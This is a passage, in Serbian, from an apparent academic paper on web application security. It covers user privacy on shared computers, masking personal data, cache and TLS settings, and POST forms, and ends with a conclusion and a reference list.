Ovo poglavlje bavi se privatnošću korisnika.Sistem koji sadrži podatke o korisniku koji su lične
prirode, kao što su brojevi socijalnog osiguranja, telefonski brojevi, zdravstveni kartoni, kao i
detalje o računima, moraju biti dodatno obezbeđeni, u cilju osiguranja privatnosti korisnika.U
nekim zemljama i nekim okolnostima, postoje zakonske regulative o zaštiti privatnosti korisnika.

5.1. Opasnosti pri upotrebi javnih Web browser-a

Svi sistemi treba jasno i stalno da upozoravaju korisnike o opasnostima upotrebe zajedničkih
računara, kao što su oni u bibliotekama i internet kafeima. Upozorenje treba da upozna korisnike
sa sledećim:
-stranice mogu ostati sačuvane u history-u browsera,
-preporučljivo je odjavljivanje sa aplikacije (logout) i gašenje browsera, da bi se izbrisali svi
cookie-i od predhodne sesije,
-moguće je da temp fajlovi ostanu u računaru,
-proxy serveri i LAN korisnici mogu presresti podatke koji se razmenjuju.

17
Sajtove ne treba projektovati sa pretpostavkom da je bilo koji deo klijenta bezbedan, i treba
praviti bilo kakve pretpostavke u vezi integriteta.

5.2. Upotreba ličnih podataka

Sistem treba obezbediti tako da lične podatke prikazuje samo kada su oni apsolutno
neophodni.Brojevi računa, lična imena, korisnička imena, brojevi socijalnog osiguranja i druge
specifične podatke trebalo bi uvek maskirati (ako je broj računa 123456789, aplikacija bi trebalo
da broj prikaže kao *****6789), osim ako njihov prikaz nije apsolutno neophodan. Samo lična
imena ili nadimke bi trebalo prikazivati na mestu imena, a brojne identifikatore treba prikazivati
samo delom.

Kada je prikaz podataka na stranici neophodan trebalo bi :

-podesiti stranicu na pre-expire,
-postaviti no-cache meta opciju,
-postaviti no-cache-pragma meta opciju,
-kristiti SSL ili TLS.

Ovo pruža korisniku veliku fleksibilnost pri upotrebi sigurnih hostova kako na ličnom tako i na
zajedničkom računaru.

5.3. Opcija «Browser History»

Sistem treba da obezbedi da se osetljivi podaci ne vide u korisnikovom browser history-ju.

-Sve forme trebalo bi podnositi upotrebom HTTP POST zahteva.

18
6. ZAKLJUČAK

U ovom radu predstavljeni su osnovni koncepti bezbednosti Web aplikacija, kao i realizacija
tipične aplikacije za timski rad na projektima zasnovane na PHP tehnologiji, na koju su
primenjeni ovi koncepti.

Ovo je bio kratak pregled problema sa kojima se suočava svaki Web programer. Pomenuti su
samo najvažniji problemi, ali mogućnosti za greške ima mnogo. Reći da ne treba verovati
ulaznim podacima je lako, ali je daleko veći problem poštovati ovo jednostavno pravilo u praksi.

Pri izradi Web aplikacija veoma je bitno odrediti koji je stepen bezbednosti potreban. Potrebno je
pronaći balans između parametara bezbednosti, funkcionalnosti, cene i performansi. Povećanje
sigurnosti može dovesti do smanjenja funkcionalnosti aplikacije (npr. ograničava se broj
korisnika), kao i do smanjenja performasi.

Pri posmatranju lista najvećih bezbednosnih problema, primećuje se da skoro svi direktno zavise
od kompetentnosti programera koji proizvode softver. Suština je u tome da je Web zapravo skup
desetina različitih tehnologija koje se izvršavaju na različitim platformama, što znači da se radno
iskustvo ničim ne može zamenuti. Dakle, potrebno je detaljno poznavati svaki deo sistema od
kojeg se sastoji Web aplikacija, što nije lak zadatak. Svaki programer koji se bavi razvojem Web
aplikacija trebalo bi da, pored poznavanja tehnologije sa kojom radi, prati redovno sve novosti,
mailing liste, forume i iskustva drugih programera vezana za bezbednost.

19
7. LITERATURA

1) "A Guide to Building Secure Web Applications" - The Open Web Application Security
Project; Mark Curphey, David Endler, William Hau, Steve Taylor, Tim Smith, Alex
Russell, Gene McKenna, Richard Parke, Kevin McLaughlin, Nigel Tranter, Amit Klien,
Dennis Groves, Izhar By-Gad, Sverre Huseby, Martin Eizner, Martin Eizner, and Roy
McNamara; OWASP 2002.

2) Tehnički članci "CERT – Coordination Center" Carnegie Mellon Software Engineering

Institute; www.cert.org

3) "Professional PHP Web Services"; James Fuller, Harry Fuecks, Ken Egervari, Bryan
Waters, Daniel Solin, Jon Stephens, Lee Reynolds; Wrox Press 2003.

4) "Criptography and Network Security: Principles and Practice"; William Stallings;

Prentice-Hall, Inc. Upper Saddle River, New Jersey 1998.

20